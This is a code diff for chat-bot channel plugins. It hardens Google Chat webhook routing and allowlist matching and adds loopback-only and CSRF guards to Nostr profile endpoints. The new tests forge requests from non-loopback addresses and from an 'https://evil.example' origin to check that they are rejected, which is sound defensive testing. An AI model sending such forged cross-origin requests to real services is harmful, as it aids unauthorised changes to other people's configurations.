View File

@@ -61,6 +61,31 @@ function logVerbose(core: GoogleChatCoreRuntime, runtime: GoogleChatRuntimeEnv,
}
}
const warnedDeprecatedUsersEmailAllowFrom = new Set<string>();
function warnDeprecatedUsersEmailEntries(
core: GoogleChatCoreRuntime,
runtime: GoogleChatRuntimeEnv,
entries: string[],
) {
const deprecated = entries.map((v) => String(v).trim()).filter((v) => /^users\/.+@.+/i.test(v));
if (deprecated.length === 0) {
return;
}
const key = deprecated
.map((v) => v.toLowerCase())
.sort()
.join(",");
if (warnedDeprecatedUsersEmailAllowFrom.has(key)) {
return;
}
warnedDeprecatedUsersEmailAllowFrom.add(key);
logVerbose(
core,
runtime,
`Deprecated allowFrom entry detected: "users/<email>" is no longer treated as an email allowlist. Use raw email (alice@example.com) or immutable user id (users/<id>). entries=${deprecated.join(", ")}`,
);
}
function normalizeWebhookPath(raw: string): string {
const trimmed = raw.trim();
if (!trimmed) {
@@ -223,7 +248,7 @@ export async function handleGoogleChatWebhookRequest(
? authHeaderNow.slice("bearer ".length)
: bearer;
let selected: WebhookTarget | undefined;
const matchedTargets: WebhookTarget[] = [];
for (const target of targets) {
const audienceType = target.audienceType;
const audience = target.audience;
@@ -233,17 +258,26 @@ export async function handleGoogleChatWebhookRequest(
audience,
});
if (verification.ok) {
selected = target;
break;
matchedTargets.push(target);
if (matchedTargets.length > 1) {
break;
}
}
}
if (!selected) {
if (matchedTargets.length === 0) {
res.statusCode = 401;
res.end("unauthorized");
return true;
}
if (matchedTargets.length > 1) {
res.statusCode = 401;
res.end("ambiguous webhook target");
return true;
}
const selected = matchedTargets[0];
selected.statusSink?.({ lastInboundAt: Date.now() });
processGoogleChatEvent(event, selected).catch((err) => {
selected?.runtime.error?.(
@@ -285,6 +319,11 @@ function normalizeUserId(raw?: string | null): string {
return trimmed.replace(/^users\//i, "").toLowerCase();
}
function isEmailLike(value: string): boolean {
// Keep this intentionally loose; allowlists are user-provided config.
return value.includes("@");
}
export function isSenderAllowed(
senderId: string,
senderEmail: string | undefined,
@@ -300,22 +339,19 @@ export function isSenderAllowed(
if (!normalized) {
return false;
}
if (normalized === normalizedSenderId) {
return true;
// Accept `googlechat:<id>` but treat `users/...` as an *ID* only (deprecated `users/<email>`).
const withoutPrefix = normalized.replace(/^(googlechat|google-chat|gchat):/i, "");
if (withoutPrefix.startsWith("users/")) {
return normalizeUserId(withoutPrefix) === normalizedSenderId;
}
if (normalizedEmail && normalized === normalizedEmail) {
return true;
// Raw email allowlist entries remain supported for usability.
if (normalizedEmail && isEmailLike(withoutPrefix)) {
return withoutPrefix === normalizedEmail;
}
if (normalizedEmail && normalized.replace(/^users\//i, "") === normalizedEmail) {
return true;
}
if (normalized.replace(/^users\//i, "") === normalizedSenderId) {
return true;
}
if (normalized.replace(/^(googlechat|google-chat|gchat):/i, "") === normalizedSenderId) {
return true;
}
return false;
return withoutPrefix.replace(/^users\//i, "") === normalizedSenderId;
});
}
@@ -473,6 +509,11 @@ async function processMessageWithPipeline(params: {
}
if (groupUsers.length > 0) {
warnDeprecatedUsersEmailEntries(
core,
runtime,
groupUsers.map((v) => String(v)),
);
const ok = isSenderAllowed(
senderId,
senderEmail,
@@ -493,6 +534,7 @@ async function processMessageWithPipeline(params: {
? await core.channel.pairing.readAllowFromStore("googlechat").catch(() => [])
: [];
const effectiveAllowFrom = [...configAllowFrom, ...storeAllowFrom];
warnDeprecatedUsersEmailEntries(core, runtime, effectiveAllowFrom);
const commandAllowFrom = isGroup ? groupUsers.map((v) => String(v)) : effectiveAllowFrom;
const useAccessGroups = config.commands?.useAccessGroups !== false;
const senderAllowedForCommands = isSenderAllowed(senderId, senderEmail, commandAllowFrom);

View File

@@ -0,0 +1,162 @@
import type { IncomingMessage, ServerResponse } from "node:http";
import type { OpenClawConfig, PluginRuntime } from "openclaw/plugin-sdk";
import { EventEmitter } from "node:events";
import { describe, expect, it, vi } from "vitest";
import type { ResolvedGoogleChatAccount } from "./accounts.js";
import { verifyGoogleChatRequest } from "./auth.js";
import { handleGoogleChatWebhookRequest, registerGoogleChatWebhookTarget } from "./monitor.js";
vi.mock("./auth.js", () => ({
verifyGoogleChatRequest: vi.fn(),
}));
function createWebhookRequest(params: {
authorization?: string;
payload: unknown;
path?: string;
}): IncomingMessage {
const req = new EventEmitter() as IncomingMessage & { destroyed?: boolean; destroy: () => void };
req.method = "POST";
req.url = params.path ?? "/googlechat";
req.headers = {
authorization: params.authorization ?? "",
"content-type": "application/json",
};
req.destroyed = false;
req.destroy = () => {
req.destroyed = true;
};
void Promise.resolve().then(() => {
req.emit("data", Buffer.from(JSON.stringify(params.payload), "utf-8"));
if (!req.destroyed) {
req.emit("end");
}
});
return req;
}
function createWebhookResponse(): ServerResponse & { body?: string } {
const headers: Record<string, string> = {};
const res = {
headersSent: false,
statusCode: 200,
setHeader: (key: string, value: string) => {
headers[key.toLowerCase()] = value;
return res;
},
end: (body?: string) => {
res.headersSent = true;
res.body = body;
return res;
},
} as unknown as ServerResponse & { body?: string };
return res;
}
const baseAccount = (accountId: string) =>
({
accountId,
enabled: true,
credentialSource: "none",
config: {},
}) as ResolvedGoogleChatAccount;
describe("Google Chat webhook routing", () => {
it("rejects ambiguous routing when multiple targets on the same path verify successfully", async () => {
vi.mocked(verifyGoogleChatRequest).mockResolvedValue({ ok: true });
const sinkA = vi.fn();
const sinkB = vi.fn();
const core = {} as PluginRuntime;
const config = {} as OpenClawConfig;
const unregisterA = registerGoogleChatWebhookTarget({
account: baseAccount("A"),
config,
runtime: {},
core,
path: "/googlechat",
statusSink: sinkA,
mediaMaxMb: 5,
});
const unregisterB = registerGoogleChatWebhookTarget({
account: baseAccount("B"),
config,
runtime: {},
core,
path: "/googlechat",
statusSink: sinkB,
mediaMaxMb: 5,
});
try {
const res = createWebhookResponse();
const handled = await handleGoogleChatWebhookRequest(
createWebhookRequest({
authorization: "Bearer test-token",
payload: { type: "ADDED_TO_SPACE", space: { name: "spaces/AAA" } },
}),
res,
);
expect(handled).toBe(true);
expect(res.statusCode).toBe(401);
expect(sinkA).not.toHaveBeenCalled();
expect(sinkB).not.toHaveBeenCalled();
} finally {
unregisterA();
unregisterB();
}
});
it("routes to the single verified target when earlier targets fail verification", async () => {
vi.mocked(verifyGoogleChatRequest)
.mockResolvedValueOnce({ ok: false, reason: "invalid" })
.mockResolvedValueOnce({ ok: true });
const sinkA = vi.fn();
const sinkB = vi.fn();
const core = {} as PluginRuntime;
const config = {} as OpenClawConfig;
const unregisterA = registerGoogleChatWebhookTarget({
account: baseAccount("A"),
config,
runtime: {},
core,
path: "/googlechat",
statusSink: sinkA,
mediaMaxMb: 5,
});
const unregisterB = registerGoogleChatWebhookTarget({
account: baseAccount("B"),
config,
runtime: {},
core,
path: "/googlechat",
statusSink: sinkB,
mediaMaxMb: 5,
});
try {
const res = createWebhookResponse();
const handled = await handleGoogleChatWebhookRequest(
createWebhookRequest({
authorization: "Bearer test-token",
payload: { type: "ADDED_TO_SPACE", space: { name: "spaces/BBB" } },
}),
res,
);
expect(handled).toBe(true);
expect(res.statusCode).toBe(200);
expect(sinkA).not.toHaveBeenCalled();
expect(sinkB).toHaveBeenCalledTimes(1);
} finally {
unregisterA();
unregisterB();
}
});
});

View File

@@ -55,7 +55,7 @@ async function promptAllowFrom(params: {
}): Promise<OpenClawConfig> {
const current = params.cfg.channels?.["googlechat"]?.dm?.allowFrom ?? [];
const entry = await params.prompter.text({
message: "Google Chat allowFrom (user id or email)",
message: "Google Chat allowFrom (users/<id> or raw email; avoid users/<email>)",
placeholder: "users/123456789, name@example.com",
initialValue: current[0] ? String(current[0]) : undefined,
validate: (value) => (String(value ?? "").trim() ? undefined : "Required"),

View File

@@ -1,5 +1,5 @@
import { readFileSync } from "node:fs";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import type { CoreConfig, IrcAccountConfig, IrcNickServConfig } from "./types.js";
const TRUTHY_ENV = new Set(["true", "1", "yes", "on"]);

View File

@@ -1,4 +1,4 @@
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import type { CoreConfig, MatrixConfig } from "../types.js";
import { resolveMatrixConfigForAccount } from "./client.js";
import { credentialsMatchConfig, loadMatrixCredentials } from "./credentials.js";

View File

@@ -1,4 +1,4 @@
import { normalizeAccountId } from "openclaw/plugin-sdk";
import { normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import type { CoreConfig } from "../../types.js";
import type { MatrixActionClient, MatrixActionClientOpts } from "./types.js";
import { getMatrixRuntime } from "../../runtime.js";

View File

@@ -1,5 +1,5 @@
import type { MatrixClient } from "@vector-im/matrix-bot-sdk";
import { normalizeAccountId } from "openclaw/plugin-sdk";
import { normalizeAccountId } from "openclaw/plugin-sdk/account-id";
// Support multiple active clients for multi-account
const activeClients = new Map<string, MatrixClient>();

View File

@@ -1,5 +1,5 @@
import { MatrixClient } from "@vector-im/matrix-bot-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import type { CoreConfig } from "../../types.js";
import type { MatrixAuth, MatrixResolvedConfig } from "./types.js";
import { getMatrixRuntime } from "../../runtime.js";

View File

@@ -1,6 +1,6 @@
import type { MatrixClient } from "@vector-im/matrix-bot-sdk";
import { LogService } from "@vector-im/matrix-bot-sdk";
import { normalizeAccountId } from "openclaw/plugin-sdk";
import { normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import type { CoreConfig } from "../../types.js";
import type { MatrixAuth } from "./types.js";
import { resolveMatrixAuth } from "./config.js";

View File

@@ -1,7 +1,7 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import { getMatrixRuntime } from "../runtime.js";
export type MatrixStoredCredentials = {

View File

@@ -1,5 +1,5 @@
import type { MatrixClient } from "@vector-im/matrix-bot-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import type { CoreConfig } from "../../types.js";
import { getMatrixRuntime } from "../../runtime.js";
import { getActiveMatrixClient, getAnyActiveMatrixClient } from "../active-client.js";

View File

@@ -1,5 +1,5 @@
import type { OpenClawConfig } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import type { MattermostAccountConfig, MattermostChatMode } from "../types.js";
import { normalizeMattermostBaseUrl } from "./client.js";

View File

@@ -1,5 +1,5 @@
import type { OpenClawConfig, WizardPrompter } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
type PromptAccountIdParams = {
cfg: OpenClawConfig;

View File

@@ -1,5 +1,5 @@
import type { ChannelOnboardingAdapter, OpenClawConfig, WizardPrompter } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import {
listMattermostAccountIds,
resolveDefaultMattermostAccountId,

View File

@@ -1,7 +1,12 @@
import { readFileSync } from "node:fs";
import { DEFAULT_ACCOUNT_ID, isTruthyEnvValue, normalizeAccountId } from "openclaw/plugin-sdk";
import { DEFAULT_ACCOUNT_ID, normalizeAccountId } from "openclaw/plugin-sdk/account-id";
import type { CoreConfig, NextcloudTalkAccountConfig } from "./types.js";
function isTruthyEnvValue(value?: string): boolean {
const normalized = (value ?? "").trim().toLowerCase();
return normalized === "true" || normalized === "1" || normalized === "yes" || normalized === "on";
}
const debugAccounts = (...args: unknown[]) => {
if (isTruthyEnvValue(process.env.OPENCLAW_DEBUG_NEXTCLOUD_TALK_ACCOUNTS)) {
console.warn("[nextcloud-talk:accounts]", ...args);

View File

@@ -29,12 +29,21 @@ import { importProfileFromRelays } from "./nostr-profile-import.js";
// Test Helpers
// ============================================================================
function createMockRequest(method: string, url: string, body?: unknown): IncomingMessage {
function createMockRequest(
method: string,
url: string,
body?: unknown,
opts?: { headers?: Record<string, string>; remoteAddress?: string },
): IncomingMessage {
const socket = new Socket();
Object.defineProperty(socket, "remoteAddress", {
value: opts?.remoteAddress ?? "127.0.0.1",
configurable: true,
});
const req = new IncomingMessage(socket);
req.method = method;
req.url = url;
req.headers = { host: "localhost:3000" };
req.headers = { host: "localhost:3000", ...(opts?.headers ?? {}) };
if (body) {
const bodyStr = JSON.stringify(body);
@@ -206,6 +215,36 @@ describe("nostr-profile-http", () => {
expect(ctx.updateConfigProfile).toHaveBeenCalled();
});
it("rejects profile mutation from non-loopback remote address", async () => {
const ctx = createMockContext();
const handler = createNostrProfileHttpHandler(ctx);
const req = createMockRequest(
"PUT",
"/api/channels/nostr/default/profile",
{ name: "attacker" },
{ remoteAddress: "198.51.100.10" },
);
const res = createMockResponse();
await handler(req, res);
expect(res._getStatusCode()).toBe(403);
});
it("rejects cross-origin profile mutation attempts", async () => {
const ctx = createMockContext();
const handler = createNostrProfileHttpHandler(ctx);
const req = createMockRequest(
"PUT",
"/api/channels/nostr/default/profile",
{ name: "attacker" },
{ headers: { origin: "https://evil.example" } },
);
const res = createMockResponse();
await handler(req, res);
expect(res._getStatusCode()).toBe(403);
});
it("rejects private IP in picture URL (SSRF protection)", async () => {
const ctx = createMockContext();
const handler = createNostrProfileHttpHandler(ctx);
@@ -327,6 +366,36 @@ describe("nostr-profile-http", () => {
expect(data.saved).toBe(false); // autoMerge not requested
});
it("rejects import mutation from non-loopback remote address", async () => {
const ctx = createMockContext();
const handler = createNostrProfileHttpHandler(ctx);
const req = createMockRequest(
"POST",
"/api/channels/nostr/default/profile/import",
{},
{ remoteAddress: "203.0.113.10" },
);
const res = createMockResponse();
await handler(req, res);
expect(res._getStatusCode()).toBe(403);
});
it("rejects cross-origin import mutation attempts", async () => {
const ctx = createMockContext();
const handler = createNostrProfileHttpHandler(ctx);
const req = createMockRequest(
"POST",
"/api/channels/nostr/default/profile/import",
{},
{ headers: { origin: "https://evil.example" } },
);
const res = createMockResponse();
await handler(req, res);
expect(res._getStatusCode()).toBe(403);
});
it("auto-merges when requested", async () => {
const ctx = createMockContext({
getConfigProfile: vi.fn().mockReturnValue({ about: "local bio" }),

View File

@@ -261,6 +261,73 @@ function parseAccountIdFromPath(pathname: string): string | null {
return match?.[1] ?? null;
}
function isLoopbackRemoteAddress(remoteAddress: string | undefined): boolean {
if (!remoteAddress) {
return false;
}
const ipLower = remoteAddress.toLowerCase().replace(/^\[|\]$/g, "");
// IPv6 loopback
if (ipLower === "::1") {
return true;
}
// IPv4 loopback (127.0.0.0/8)
if (ipLower === "127.0.0.1" || ipLower.startsWith("127.")) {
return true;
}
// IPv4-mapped IPv6
const v4Mapped = ipLower.match(/^::ffff:(\d+\.\d+\.\d+\.\d+)$/);
if (v4Mapped) {
return isLoopbackRemoteAddress(v4Mapped[1]);
}
return false;
}
function isLoopbackOriginLike(value: string): boolean {
try {
const url = new URL(value);
const hostname = url.hostname.toLowerCase();
return hostname === "localhost" || hostname === "127.0.0.1" || hostname === "::1";
} catch {
return false;
}
}
function enforceLoopbackMutationGuards(
ctx: NostrProfileHttpContext,
req: IncomingMessage,
res: ServerResponse,
): boolean {
// Mutation endpoints are local-control-plane only.
const remoteAddress = req.socket.remoteAddress;
if (!isLoopbackRemoteAddress(remoteAddress)) {
ctx.log?.warn?.(`Rejected mutation from non-loopback remoteAddress=${String(remoteAddress)}`);
sendJson(res, 403, { ok: false, error: "Forbidden" });
return false;
}
// CSRF guard: browsers send Origin/Referer on cross-site requests.
const origin = req.headers.origin;
if (typeof origin === "string" && !isLoopbackOriginLike(origin)) {
ctx.log?.warn?.(`Rejected mutation with non-loopback origin=${origin}`);
sendJson(res, 403, { ok: false, error: "Forbidden" });
return false;
}
const referer = req.headers.referer ?? req.headers.referrer;
if (typeof referer === "string" && !isLoopbackOriginLike(referer)) {
ctx.log?.warn?.(`Rejected mutation with non-loopback referer=${referer}`);
sendJson(res, 403, { ok: false, error: "Forbidden" });
return false;
}
return true;
}
// ============================================================================
// HTTP Handler
// ============================================================================
@@ -343,6 +410,10 @@ async function handleUpdateProfile(
req: IncomingMessage,
res: ServerResponse,
): Promise<true> {
if (!enforceLoopbackMutationGuards(ctx, req, res)) {
return true;
}
// Rate limiting
if (!checkRateLimit(accountId)) {
sendJson(res, 429, { ok: false, error: "Rate limit exceeded (5 requests/minute)" });
@@ -442,6 +513,10 @@ async function handleImportProfile(
req: IncomingMessage,
res: ServerResponse,
): Promise<true> {
if (!enforceLoopbackMutationGuards(ctx, req, res)) {
return true;
}
// Get account info
const accountInfo = ctx.getAccountInfo(accountId);
if (!accountInfo) {

View File

@@ -177,7 +177,7 @@ export const slackPlugin: ChannelPlugin<ResolvedSlackAccount> = {
threading: {
resolveReplyToMode: ({ cfg, accountId, chatType }) =>
resolveSlackReplyToMode(resolveSlackAccount({ cfg, accountId }), chatType),
allowTagsWhenOff: true,
allowExplicitReplyTagsWhenOff: true,
buildToolContext: (params) => buildSlackThreadingToolContext(params),
},
messaging: {

Some files were not shown because too many files have changed in this diff Show More